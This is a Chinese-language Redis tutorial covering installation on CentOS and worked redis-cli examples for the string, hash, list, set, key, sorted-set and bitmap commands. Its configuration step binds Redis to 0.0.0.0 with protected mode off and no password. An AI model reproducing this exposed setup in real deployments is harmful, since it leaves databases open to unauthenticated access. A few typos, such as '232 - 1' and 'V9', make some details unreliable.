Redis中文官方网站:http://www.redis.cn/
官方网站可以快速查阅常用命令、使用手册、社区交流、下载安装包等等
例如典型的取网站文章的最新评论,则可以将最新的5000条评论ID放在Redis的List集合中,并将超出集合部分从数据库获取
这个场景与上面取最新N个数据需求的不同之处在于,前面操作以时间为权重,而这个TOP N是以某个条件为权重,比如按点赞的次数排序,可以使用Redis的sorted set,将要排序的值设置成sorted set的score,将具体的数据设置成相应的value,每次只需要执行一条ZADD命令即可。
Redis zadd,命令用于将一个或多个成员元素及其分数值加入到有序集当中(简单了解即可)
- 如果某个成员已经是有序集的成员,那么更新这个成员的分数值,并通过重新插入这个成员元素,来保证该成员在正确的位置上
- 分数值可以是整数值或双精度浮点数。
- 如果有序集合 key 不存在,则创建一个空的有序集并执行 zadd 操作
- 当 key 存在但不是有序集类型时,返回一个错误
比如可以把上面场景2说到的sorted set的score值设置成过期时间的时间戳,那么就可以简单地通过过期时间排序,定时清除过期数据了,不仅是清除Redis中的过期数据,你完全可以把Redis里这个过期时间当成是对数据库中数据的索引,用Redis来找出哪些数据需要过期删除,然后再精准地从数据库中删除相应的记录
Redis的命令都是原子性的,你可以轻松地利用INCR,DECR命令来构建计数器系统
命令:
incr key 对key存储的value值+1,并将最终的结果作为返回值;
decr key 对key存储的value值-1,并将最终的结果作为返回值;
这个使用Redis的set数据结构最合适了,只需要不断地将数据往set中扔就行了,set意为集合,所以会自动排重
通过上面场景5说到的set功能,后台可以获取一个终端用户此时是否进行了某个操作,可以找到其操作的集合并进行分析统计对比等。
将数据直接存放到内存中,性能优于Memcached,数据结构更多样化
此处的支持事务,注意redis的事务并不支持完整的acid事务,redis虽然提供事务功能,但redis的事务和关系数据库的事务不可同日而语,redis的事务只能保证隔离性和一致性,无法保证原子性和持久性。
redis的各类安装部署方式全部都归档在《redis各类方式部署》https://blog.csdn.net/wt334502157/article/details/123211953中,如仅仅只是想查阅安装部署,可以参照安装部署文章实践。本文档篇幅较大,注重所有redis的知识梳理与分享和开发api介绍,当然也包括安装部署内容。
在官方下载地址中可以下载到任意版本:http://download.redis.io/releases/
安装版本根据需要安装即可,方法流程基本一样
[root@redis01 ~]# cat /etc/redhat-release
CentOS Linux release 7.4.1708 (Core)
[root@redis01 ~]# mkdir -p /opt/software
[root@redis01 ~]# cd /opt/software
[root@redis01 software]# wget http://download.redis.io/releases/redis-3.2.8.tar.gz
[root@redis01 software]# tar -xf redis-3.2.8.tar.gz
[root@redis01 software]# ln -s redis-3.2.8 redis
[root@redis01 software]# ll
total 4
lrwxrwxrwx 1 root root 11 Sep 12 16:55 redis -> redis-3.2.8
drwxrwxr-x 6 root root 4096 Sep 12 16:52 redis-3.2.8
[root@redis01 redis]# cd redis
[root@redis01 redis]# make && make install
...
...
[root@redis01 redis]# mkdir /data
[root@redis01 redis]# mkdir -p /opt/software/redis/logs/
[root@redis01 redis]# vim redis.conf
#常用需要更改的配置项:
daemonize yes # 是否以守护进程启动
pidfile /opt/software/redis/redis_6379.pid # 进程号文件的位置
port 6379 # 端口号
dir "/root/redis/data" # 数据目录
logfile "/opt/software/redis/logs/6379.log" # 日志位置及日志文件名
bind 0.0.0.0 # 0.0.0.0 可以远程访问
protected-mode no # 保护模式
# 启动redis
[root@redis01 redis]# /opt/software/redis/src/redis-server /opt/software/redis/redis.conf
[root@redis01 redis]#
[root@redis01 redis]# netstat -tnlpu|grep 6379
tcp 0 0 0.0.0.0:6379 0.0.0.0:* LISTEN 4475/redis-server 0
[root@redis01 redis]# ps -ef | grep redis|grep -v grep
root 4475 1 0 17:08 ? 00:00:00 /opt/software/redis/src/redis-server 0.0.0.0:6379
# 关闭redis
[root@redis01 redis]# src/redis-cli -h 127.0.0.1 shutdown
[root@redis01 redis]# netstat -tnlpu|grep 6379
[root@redis01 redis]# ps -ef | grep redis|grep -v grep
[root@redis01 redis]#
# 此时redis已经被关闭,再次启动redis
[root@redis01 redis]# /opt/software/redis/src/redis-server /opt/software/redis/redis.conf
# -h指定redis的服务ip地址,不加默认本地localhost
[root@redis01 redis]# src/redis-cli -h 39.101.78.174
39.101.78.174:6379>
# 当输入ping命令时,如果redis可以返回PONG,则连接正常
39.101.78.174:6379> ping
PONG
Redis常见使用最多的五种数据类型


1.设置指定key的值
39.101.78.174:6379> SET hello world
OK
2.获取指定 key 的值
39.101.78.174:6379> GET hello
"world"
3.将给定 key 的值设为 value ,并返回 key 的旧值(old value)
39.101.78.174:6379> GETSET hello newworld
"world"
39.101.78.174:6379> GET hello
"newworld"
4.获取所有(一个或多个)给定 key 的值
39.101.78.174:6379> SET k1 v1
OK
39.101.78.174:6379> SET k2 v2
OK
39.101.78.174:6379> SET k3 v3
OK
39.101.78.174:6379> MGET k1 k2 k3
1) "v1"
2) "v2"
3) "v3"
39.101.78.174:6379>
5.将值 value 关联到 key ,并将 key 的过期时间设为 seconds (以秒为单位)
39.101.78.174:6379> SETEX hello 10 world3
OK
39.101.78.174:6379> get hello
"world3"
# 等待超过10秒后再次查询
39.101.78.174:6379> get hello
(nil)
39.101.78.174:6379>
6.只有在 key 不存在时设置 key 的值
39.101.78.174:6379> GET k3
"v3"
39.101.78.174:6379> SETNX k3 v33
(integer) 0
# k3已有v3的值所以设置失败
39.101.78.174:6379> GET k3
"v3"
39.101.78.174:6379> SETNX k4 v4
(integer) 1
39.101.78.174:6379> GET k4
"v4"
39.101.78.174:6379> SETNX k4 v44
(integer) 0
39.101.78.174:6379> GET k4
"v4"
39.101.78.174:6379>
7.返回 key 所储存的字符串值的长度
39.101.78.174:6379> SET a a
OK
39.101.78.174:6379> SET bb bb
OK
39.101.78.174:6379> SET ccc ccc
OK
39.101.78.174:6379> SET dddd dddd
OK
39.101.78.174:6379> STRLEN a
(integer) 1
39.101.78.174:6379> STRLEN bb
(integer) 2
39.101.78.174:6379> STRLEN ccc
(integer) 3
39.101.78.174:6379> STRLEN dddd
(integer) 4
39.101.78.174:6379> STRLEN k1
(integer) 2
39.101.78.174:6379> STRLEN k2
(integer) 2
8.同时设置一个或多个 key-value 对
39.101.78.174:6379> MSET k5 v5 k6 v6 k7 v7
OK
39.101.78.174:6379> GET k5
"v5"
39.101.78.174:6379> GET k6
"v6"
39.101.78.174:6379> GET k7
"v7"
39.101.78.174:6379>
9.同时设置一个或多个 key-value 对,当且仅当所有给定 key 都不存在
39.101.78.174:6379> MSETNX k7 v7 k8 v8 k9 v9 k10 v10
(integer) 0
# 因为k7-k10中,k7已经存在,所以设置失败
39.101.78.174:6379> GET k8
(nil)
39.101.78.174:6379> MSETNX k8 v8 k9 v9 k10 v10
(integer) 1
39.101.78.174:6379> GET k8
"v8"
39.101.78.174:6379>
10.PSETEX命令,这个命令和 SETEX 命令相似,但它以毫秒为单位设置 key 的生存时间,而不是像 SETEX 命令那样,以秒为单位
39.101.78.174:6379> PSETEX k11 10000 v11
OK
39.101.78.174:6379> GET k11
"v11"
39.101.78.174:6379> GET k11
(nil)
39.101.78.174:6379>
11.将 key 中储存的数字值增一
39.101.78.174:6379> SET tps 1
OK
39.101.78.174:6379> GET tps
"1"
39.101.78.174:6379> INCR tps
(integer) 2
39.101.78.174:6379> GET tps
"2"
39.101.78.174:6379> INCR tps
(integer) 3
39.101.78.174:6379> GET tps
"3"
39.101.78.174:6379>
12.将key所储存的值加上给定的增量值(increment)
39.101.78.174:6379> GET tps
"3"
39.101.78.174:6379> INCRBY tps 10
(integer) 13
39.101.78.174:6379> GET tps
"13"
39.101.78.174:6379> INCRBY tps 2
(integer) 15
39.101.78.174:6379> GET tps
"15"
39.101.78.174:6379>
13.将 key 所储存的值加上给定的浮点增量值(increment)
39.101.78.174:6379> SET score 50
OK
39.101.78.174:6379> GET score
"50"
39.101.78.174:6379> INCRBYFLOAT score 0.5
"50.5"
39.101.78.174:6379> GET score
"50.5"
39.101.78.174:6379> INCRBYFLOAT score 7.5
"58"
39.101.78.174:6379> GET score
"58"
39.101.78.174:6379> INCRBYFLOAT score 1
"59"
39.101.78.174:6379> GET score
"59"
# 对比INCRBY
39.101.78.174:6379> INCRBY score 1
(integer) 60
39.101.78.174:6379> GET score
"60"
39.101.78.174:6379> INCRBY score 0.5
(error) ERR value is not an integer or out of range
39.101.78.174:6379> GET score
"60"
39.101.78.174:6379>
14.将 key 中储存的数字值减一
39.101.78.174:6379> GET tps
"15"
39.101.78.174:6379> DECR tps
(integer) 14
39.101.78.174:6379> GET tps
"14"
39.101.78.174:6379> DECR tps
(integer) 13
39.101.78.174:6379> GET tps
"13"
15.key 所储存的值减去给定的减量值(decrement)
39.101.78.174:6379> GET tps
"13"
39.101.78.174:6379> DECRBY tps 3
(integer) 10
39.101.78.174:6379> GET tps
"10"
39.101.78.174:6379> DECRBY tps 2
(integer) 8
39.101.78.174:6379> GET tps
"8"
# 可以传负数
39.101.78.174:6379> DECRBY tps -1
(integer) 9
39.101.78.174:6379> GET tps
"9"
# 对比DECR则报错
39.101.78.174:6379> DECR tps 2
(error) ERR wrong number of arguments for 'decr' command
39.101.78.174:6379>
16.APPEND命令,如果 key 已经存在并且是一个字符串, APPEND 命令将指定的 value 追加到该 key 原来值(value)的末尾
39.101.78.174:6379> SET wang t
OK
39.101.78.174:6379> GET wang
"t"
39.101.78.174:6379> APPEND wang i
(integer) 2
39.101.78.174:6379> GET wang
"ti"
39.101.78.174:6379> APPEND wang n
(integer) 3
39.101.78.174:6379> GET wang
"tin"
39.101.78.174:6379> APPEND wang g
(integer) 4
39.101.78.174:6379> GET wang
"ting"
39.101.78.174:6379>
39.101.78.174:6379> APPEND wang _
(integer) 5
39.101.78.174:6379> GET wang
"ting_"
39.101.78.174:6379> APPEND wang 666
(integer) 8
39.101.78.174:6379> GET wang
"ting_666"
39.101.78.174:6379>
Redis hash 是一个string类型的field和value的映射表,hash特别适合用于存储对象。
Redis 中每个 hash 可以存储 232 - 1 键值对

1.将哈希表 key 中的字段 field 的值设为 value
39.101.78.174:6379> HSET key1 field1 value1
(integer) 1
39.101.78.174:6379> HGET key1 field1
"value1"
39.101.78.174:6379>
2.只有在字段 field 不存在时,设置哈希表字段的值
127.0.0.1:6379> HGET key1 field1
"value1"
127.0.0.1:6379> HSETNX key1 field1 value2
(integer) 0
127.0.0.1:6379> HGET key1 field1
"value1"
127.0.0.1:6379> HSETNX key1 field2 value2
(integer) 1
127.0.0.1:6379> HGET key1 field2
"value2"
127.0.0.1:6379>
3.同时将多个 field-value (域-值)对设置到哈希表 key 中
127.0.0.1:6379> HMSET key1 field3 value3 field4 value4 field5 value5
OK
127.0.0.1:6379> HGET key1 field3
"value3"
127.0.0.1:6379> HGET key1 field4
"value4"
127.0.0.1:6379> HGET key1 field5
"value5"
127.0.0.1:6379>
4.查看哈希表 key 中,指定的字段是否存在
127.0.0.1:6379> HEXISTS key1 field1
(integer) 1
127.0.0.1:6379> HEXISTS key1 field2
(integer) 1
127.0.0.1:6379> HEXISTS key1 field100
(integer) 0
127.0.0.1:6379>
5.获取在哈希表中指定 key 的所有字段和值
127.0.0.1:6379> HGETALL key1
1) "field1"
2) "value1"
3) "field2"
4) "value2"
5) "field3"
6) "value3"
7) "field4"
8) "value4"
9) "field5"
10) "value5"
127.0.0.1:6379>
6.获取所有哈希表中的字段
127.0.0.1:6379> HKEYS key1
1) "field1"
2) "field2"
3) "field3"
4) "field4"
5) "field5"
127.0.0.1:6379>
7.获取哈希表中字段的数量
127.0.0.1:6379> HLEN key1
(integer) 5
127.0.0.1:6379> HSET key1 field6 value6
(integer) 1
127.0.0.1:6379> HLEN key1
(integer) 6
127.0.0.1:6379>
8.获取所有给定字段的值
127.0.0.1:6379> HMGET key1 field1 field3 field5
1) "value1"
2) "value3"
3) "value5"
127.0.0.1:6379>
9.为哈希表 key 中的指定字段的整数值加上增量 increment
127.0.0.1:6379> HSET key2 field1 100
(integer) 1
127.0.0.1:6379> HGET key2 field1
"100"
127.0.0.1:6379> HINCRBY key2 field1 2
(integer) 102
127.0.0.1:6379> HINCRBY key2 field1 2
(integer) 104
127.0.0.1:6379> HGET key2 field1
"104"
127.0.0.1:6379>
10.为哈希表 key 中的指定字段的浮点数值加上增量 increment
127.0.0.1:6379> HGET key2 field1
"104"
127.0.0.1:6379> HINCRBYFLOAT key2 field1 0.01
"104.01"
127.0.0.1:6379> HGET key2 field1
"104.01"
127.0.0.1:6379> HINCRBYFLOAT key2 field1 10.1
"114.11"
127.0.0.1:6379> HGET key2 field1
"114.11"
127.0.0.1:6379>
11.获取哈希表中所有值
127.0.0.1:6379> HVALS key1
1) "value1"
2) "value2"
3) "value3"
4) "value4"
5) "value5"
6) "value6"
127.0.0.1:6379> HVALS key2
1) "114.11"
127.0.0.1:6379>
12.删除一个或多个哈希表字段
127.0.0.1:6379> HKEYS key1
1) "field1"
2) "field2"
3) "field3"
4) "field4"
5) "field5"
6) "field6"
127.0.0.1:6379> HDEL key1 field1 field3
(integer) 2
127.0.0.1:6379> HKEYS key1
1) "field2"
2) "field4"
3) "field5"
4) "field6"
127.0.0.1:6379> HVALS key1
1) "value2"
2) "value4"
3) "value5"
4) "value6"
127.0.0.1:6379>
Redis列表是简单的字符串列表,按照插入顺序排序。你可以添加一个元素到列表的头部(左边)或者尾部(右边)
一个列表最多可以包含 232 - 1 个元素 (4294967295, 每个列表超过40亿个元素)
1.将一个或多个值插入到列表头部
127.0.0.1:6379> LPUSH l1 v1 v2 v3
(integer) 3
2.查看list当中所有的数据
127.0.0.1:6379> LRANGE l1 0 100
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> LRANGE l1 0 1
1) "v3"
2) "v2"
127.0.0.1:6379> LRANGE l1 0 2
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> LRANGE l1 0 0
1) "v3"
127.0.0.1:6379> LRANGE l1 -10 2
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379>
# 0 -1 所有数据
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
3.将一个值插入到已存在的列表头部
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
127.0.0.1:6379> LPUSH l1 V4
(integer) 4
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
127.0.0.1:6379> LINDEX l1 0
"V4"
127.0.0.1:6379>
4.在列表中添加一个或多个值到尾部
127.0.0.1:6379> RPUSH l1 v5 v6 v7 v8
(integer) 8
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
5) "v5"
6) "v6"
7) "v7"
8) "v8"
127.0.0.1:6379>
5.为已存在的列表添加单个值到尾部
127.0.0.1:6379> RPUSH l1 v9
(integer) 9
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
5) "v5"
6) "v6"
7) "v7"
8) "v8"
9) "v9"
127.0.0.1:6379>
6.在列表的元素前或者后插入元素
127.0.0.1:6379> LINSERT l1 BEFORE v5 before_v5
(integer) 10
127.0.0.1:6379> LINSERT l1 AFTER v7 after_v7
(integer) 11
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
5) "before_v5"
6) "v5"
7) "v6"
8) "v7"
9) "after_v7"
10) "v8"
11) "v9"
127.0.0.1:6379>
7.通过索引获取列表中的元素
127.0.0.1:6379> LINDEX l1 0
"V4"
127.0.0.1:6379> LINDEX l1 8
"after_v7"
127.0.0.1:6379>
8.通过索引设置列表元素的值
127.0.0.1:6379> LINDEX l1 5
"v5"
127.0.0.1:6379> LSET l1 5 v555
OK
127.0.0.1:6379> LINDEX l1 5
"v555"
9.获取列表长度
127.0.0.1:6379> LLEN l1
(integer) 11
10.移出并获取列表的第一个元素
127.0.0.1:6379> LRANGE l1 0 -1
1) "V4"
2) "v3"
3) "v2"
4) "v1"
5) "before_v5"
6) "v5"
7) "v6"
8) "v7"
9) "after_v7"
10) "v8"
11) "v9"
127.0.0.1:6379> LINDEX l1 0
"V4"
127.0.0.1:6379> LPOP l1
"V4"
11.移除列表的最后一个元素,返回值为移除的元素
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
4) "before_v5"
5) "v555"
6) "v6"
7) "v7"
8) "after_v7"
9) "v8"
10) "v9"
127.0.0.1:6379> RPOP l1
"V9"
12.移出并获取列表的第一个元素,如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止
127.0.0.1:6379> LRANGE l1 0 -1
1) "v3"
2) "v2"
3) "v1"
4) "before_v5"
5) "v555"
6) "v6"
7) "v7"
8) "after_v7"
9) "v8"
127.0.0.1:6379> BLPOP l1 2000
1) "l1"
2) "v3"
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
6) "v7"
7) "after_v7"
8) "v8"
13.移出并获取列表的最后一个元素, 如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止
127.0.0.1:6379> BRPOP l1 2000
1) "l1"
2) "v8"
14.移除列表的最后一个元素,并将该元素添加到另一个列表并返回
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
6) "v7"
7) "after_v7"
127.0.0.1:6379> LRANGE l2 0 -1
(empty list or set)
127.0.0.1:6379> RPOPLPUSH l1 l2
"after_v7"
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
6) "v7"
127.0.0.1:6379> LRANGE l2 0 -1
1) "after_v7"
15.从列表中弹出一个值,将弹出的元素插入到另外一个列表中并返回它; 如果列表没有元素会阻塞列表直到等待超时或发现可弹出元素为止
127.0.0.1:6379> BRPOPLPUSH l1 l2 2000
"v7"
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
127.0.0.1:6379> LRANGE l2 0 -1
1) "v7"
2) "after_v7"
16.对一个列表进行修剪(trim),让列表只保留指定区间内的元素,不在指定区间之内的元素都将被删除
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
4) "v555"
5) "v6"
127.0.0.1:6379> LTRIM l1 0 2
OK
127.0.0.1:6379> LRANGE l1 0 -1
1) "v2"
2) "v1"
3) "before_v5"
17.删除指定key的列表
127.0.0.1:6379> DEL l2
(integer) 1
127.0.0.1:6379> LRANGE l2 0 -1
(empty list or set)
1.向集合添加一个或多个成员
127.0.0.1:6379> SADD set1 v1 v2
(integer) 2
2.返回集合中的所有成员
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3.获取集合的成员数
127.0.0.1:6379> SCARD set1
(integer) 2
127.0.0.1:6379> SADD set1 v3
(integer) 1
127.0.0.1:6379> SCARD set1
(integer) 3
4.返回给定所有集合的差集
127.0.0.1:6379> SADD set2 v1 v3 v4
(integer) 3
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SDIFF set1 set2
1) "v2"
5.返回给定所有集合的差集并存储在destination中
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set3
(empty list or set)
127.0.0.1:6379> SDIFFSTORE set3 set1 set2
(integer) 1
127.0.0.1:6379> SMEMBERS set3
1) "v2"
6.返回给定所有集合的交集
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SINTER set1 set2
1) "v1"
2) "v3"
7.返回给定所有集合的交集并存储在 destination 中
127.0.0.1:6379> SINTERSTORE set4 set1 set2
(integer) 2
127.0.0.1:6379> SMEMBERS set4
1) "v1"
2) "v3"
8.判断member元素是否是集合 key 的成员
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SISMEMBER set1 v1
(integer) 1
127.0.0.1:6379> SISMEMBER set1 v4
(integer) 0
9.将 member 元素从 source 集合移动到 destination 集合
127.0.0.1:6379> SMEMBERS set3
1) "v2"
127.0.0.1:6379> SMEMBERS set4
1) "v1"
2) "v3"
127.0.0.1:6379> SMOVE set3 set4 v2
(integer) 1
127.0.0.1:6379> SMEMBERS set4
1) "v2"
2) "v1"
3) "v3"
10.移除并返回集合中的一个随机元素
127.0.0.1:6379> SMEMBERS set2
1) "v4"
2) "v1"
3) "v3"
127.0.0.1:6379> SPOP set2
"v4"
127.0.0.1:6379> SPOP set2
"v1"
127.0.0.1:6379> SMEMBERS set2
1) "v3"
11.返回集合中一个或多个随机数
127.0.0.1:6379> SRANDMEMBER set1
"v3"
127.0.0.1:6379> SRANDMEMBER set1 2
1) "v1"
2) "v3"
127.0.0.1:6379> SRANDMEMBER set1 2
1) "v2"
2) "v1"
12.移除集合中一个或多个成员
127.0.0.1:6379> SMEMBERS set1
1) "v2"
2) "v1"
3) "v3"
127.0.0.1:6379> SREM set1 v1 v2
(integer) 2
127.0.0.1:6379> SMEMBERS set1
1) "v3"
13.返回所有给定集合的并集
127.0.0.1:6379> SADD set1 v5 v6 v7
(integer) 3
127.0.0.1:6379> SMEMBERS set1
1) "v7"
2) "v5"
3) "v6"
4) "v3"
127.0.0.1:6379> SADD set2 v8 v9
(integer) 2
127.0.0.1:6379> SMEMBERS set2
1) "v9"
2) "v8"
3) "v3"
127.0.0.1:6379> SUNION set1 set2
1) "v3"
2) "v5"
3) "v6"
4) "v9"
5) "v7"
6) "v8"
14.所有给定集合的并集存储在 destination 集合中
127.0.0.1:6379> SUNIONSTORE set5 set1 set2
(integer) 6
127.0.0.1:6379> SMEMBERS set5
1) "v3"
2) "v5"
3) "v6"
4) "v9"
5) "v7"
6) "v8"
1.DEL删除key,该命令用于在 key 存在时删除 key
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "key2"
7) "key1"
8) "l1"
127.0.0.1:6379> DEL key1 key2
(integer) 2
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"
2.序列化给定 key ,并返回被序列化的值
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> DUMP k1
"\x00\x02v1\a\x00\xa0\xd7e\xad\xc3\x9a\xacA"
3.检查给定 key 是否存在
127.0.0.1:6379> EXISTS k1
(integer) 1
127.0.0.1:6379> EXISTS k100
(integer) 0
4.为给定 key 设置过期时间,单位为秒
127.0.0.1:6379> EXPIRE k1 8
(integer) 1
127.0.0.1:6379> EXISTS k1
(integer) 1
# 等待超过8秒后查询
127.0.0.1:6379> EXISTS k1
(integer) 0
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"
5.设置 key 的过期时间以毫秒计
127.0.0.1:6379> SET k2 v2
OK
127.0.0.1:6379> PEXPIRE k2 3000
(integer) 1
127.0.0.1:6379> GET k2
"v2"
# 等待超过3秒后查询
127.0.0.1:6379> GET k2
(nil)
6.查找所有符合给定模式( pattern)的 key
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"
127.0.0.1:6379> keys set*
1) "set1"
2) "set5"
3) "set4"
4) "set2"
127.0.0.1:6379> keys *1
1) "L1"
2) "set1"
3) "l1"
7.移除 key 的过期时间,key 将持久保持
127.0.0.1:6379> SET k1 v1
OK
127.0.0.1:6379> EXPIRE k1 15
(integer) 1
# 在过期之前执行PERSIST解除过期
127.0.0.1:6379> PERSIST k1
(integer) 1
# 等待超过15秒后查询依然可以查询到
127.0.0.1:6379> GET k1
"v1"
8.以毫秒为单位返回 key 的剩余的过期时间
127.0.0.1:6379> EXPIRE k1 30
(integer) 1
127.0.0.1:6379> PTTL k1
(integer) 23007
127.0.0.1:6379> PTTL k1
(integer) 17000
9.以秒为单位,返回给定 key 的剩余生存时间
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> EXPIRE k1 30
(integer) 1
127.0.0.1:6379> TTL k1
(integer) 24
127.0.0.1:6379> TTL k1
(integer) 17
10.从当前数据库中随机返回一个 key
127.0.0.1:6379> keys *
1) "L1"
2) "set1"
3) "set5"
4) "set4"
5) "set2"
6) "l1"
127.0.0.1:6379> RANDOMKEY
"l1"
127.0.0.1:6379> RANDOMKEY
"set1"
127.0.0.1:6379> RANDOMKEY
"set4"
11.修改 key 的名称
127.0.0.1:6379> SET k1 v1
OK
127.0.0.1:6379> GET k1
"v1"
127.0.0.1:6379> RENAME k1 kkkkk1
OK
127.0.0.1:6379> GET k1
(nil)
127.0.0.1:6379> GET kkkkk1
"v1"
12.仅当 newkey 不存在时,将 key 改名为 newkey
127.0.0.1:6379> set k1 v1
OK
127.0.0.1:6379> set k2 v2
OK
127.0.0.1:6379> renamenx k1 k2
(integer) 0
127.0.0.1:6379> get k1
"v1"
127.0.0.1:6379> get k2
"v2"
127.0.0.1:6379> renamenx k1 k3
(integer) 1
127.0.0.1:6379> get k3
"v1"
13.返回 key 所储存的值的类型
127.0.0.1:6379> keys *
1) "kkkkk1"
2) "k3"
3) "set2"
4) "set5"
5) "L1"
6) "set1"
7) "k2"
8) "set4"
9) "l1"
127.0.0.1:6379>
127.0.0.1:6379> TYPE k2
string
127.0.0.1:6379> TYPE l1
list
127.0.0.1:6379> TYPE set1
set
14.清空所有的key
谨慎操作,相当于MySQL中的删库
1.向有序集合添加一个或多个成员,或者更新已存在成员的分数
127.0.0.1:6379> ZADD pv_zset 80 page1.html 100 page2.html 160 page3.html
(integer) 3
2.获取有序集合的成员数
127.0.0.1:6379> ZCARD pv_zset
(integer) 3
3.计算在有序集合中指定区间分数的成员数
# 80 page1.html
# 100 page2.html
# 160 page3.html
# 60 ~ 110 之间 2个
127.0.0.1:6379> ZCOUNT pv_zset 60 110
(integer) 2
4.有序集合中对指定成员的分数加上增量 increment
127.0.0.1:6379> ZINCRBY pv_zset 10 page1.html
"90"
5.计算给定的一个或多个有序集的交集并将结果集存储在新的有序集合 key 中
127.0.0.1:6379> ZADD pv_zset1 10 page1.html 20 page2.html
(integer) 2
127.0.0.1:6379> ZADD pv_zset2 5 page1.html 10 page2.html
(integer) 2
127.0.0.1:6379> ZINTERSTORE pv_zset_result 2 pv_zset1 pv_zset2
(integer) 2
6.通过索引区间返回有序集合指定区间内的成员
127.0.0.1:6379> ZRANGE pv_zset_result 0 -1 WITHSCORES
1) "page1.html"
2) "15"
3) "page2.html"
4) "30"
7.通过分数返回有序集合指定区间内的成员
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page1.html"
2) "90"
3) "page2.html"
4) "100"
5) "page3.html"
6) "160"
127.0.0.1:6379> ZRANGEBYSCORE pv_zset 95 180
1) "page2.html"
2) "page3.html"
8.返回有序集合中指定成员的索引
127.0.0.1:6379> ZRANK pv_zset page1.html
(integer) 0
127.0.0.1:6379> ZRANK pv_zset page3.html
(integer) 2
9.移除有序集合中的一个或多个成员
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page1.html"
2) "90"
3) "page2.html"
4) "100"
5) "page3.html"
6) "160"
127.0.0.1:6379> ZREM pv_zset page1.html
(integer) 1
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page2.html"
2) "100"
3) "page3.html"
4) "160"
10.返回有序集中指定区间内的成员,通过索引,分数从高到低
127.0.0.1:6379> ZADD pv_zset 120 page1.html 140 page4.html 20 page5.html 300 page6.html
(integer) 4
127.0.0.1:6379> ZRANGE pv_zset 0 -1 WITHSCORES
1) "page5.html"
2) "20"
3) "page2.html"
4) "100"
5) "page1.html"
6) "120"
7) "page4.html"
8) "140"
9) "page3.html"
10) "160"
11) "page6.html"
12) "300"
127.0.0.1:6379> ZREVRANGE pv_zset 0 -1
1) "page6.html"
2) "page3.html"
3) "page4.html"
4) "page1.html"
5) "page2.html"
6) "page5.html"
11.返回有序集合中指定成员的排名,有序集成员按分数值递减(从大到小)排序
# 排序包含0
127.0.0.1:6379> ZREVRANK pv_zset page6.html
(integer) 0
127.0.0.1:6379> ZREVRANK pv_zset page4.html
(integer) 2
127.0.0.1:6379> ZREVRANK pv_zset page5.html
(integer) 5
12.返回有序集中,成员的分数值
127.0.0.1:6379> ZSCORE pv_zset page3.html
"160"
127.0.0.1:6379> ZSCORE pv_zset page5.html
"20"
1.设置Bit值
setbit命令设置的vlaue只能是0或1两个值
127.0.0.1:6379> setbit unique:users:2022-09-12 1 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-12 2 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-12 3 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-12 4 0
(integer) 0
# unique:users:2022-09-12 -> 定义用户某日的标记
# 1,2,3,4可以是用户的UID等标记
# 1 代表用户访问 0代表未访问
2.获取Bit值
127.0.0.1:6379> getbit unique:users:2022-09-12 3
(integer) 1
127.0.0.1:6379> getbit unique:users:2022-09-12 4
(integer) 0
3.获取Bitmaps指定范围值为1的个数
假设数据库里非常多的数据,统计多少用户当日访问过的记录,则只要统计出为1的总数
127.0.0.1:6379> bitcount unique:users:2022-09-12
(integer) 3
4.Bitmaps间的运算
127.0.0.1:6379> setbit unique:users:2022-09-13 1 0
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-13 2 1
(integer) 0
127.0.0.1:6379> setbit unique:users:2022-09-13 3 1
(integer) 0
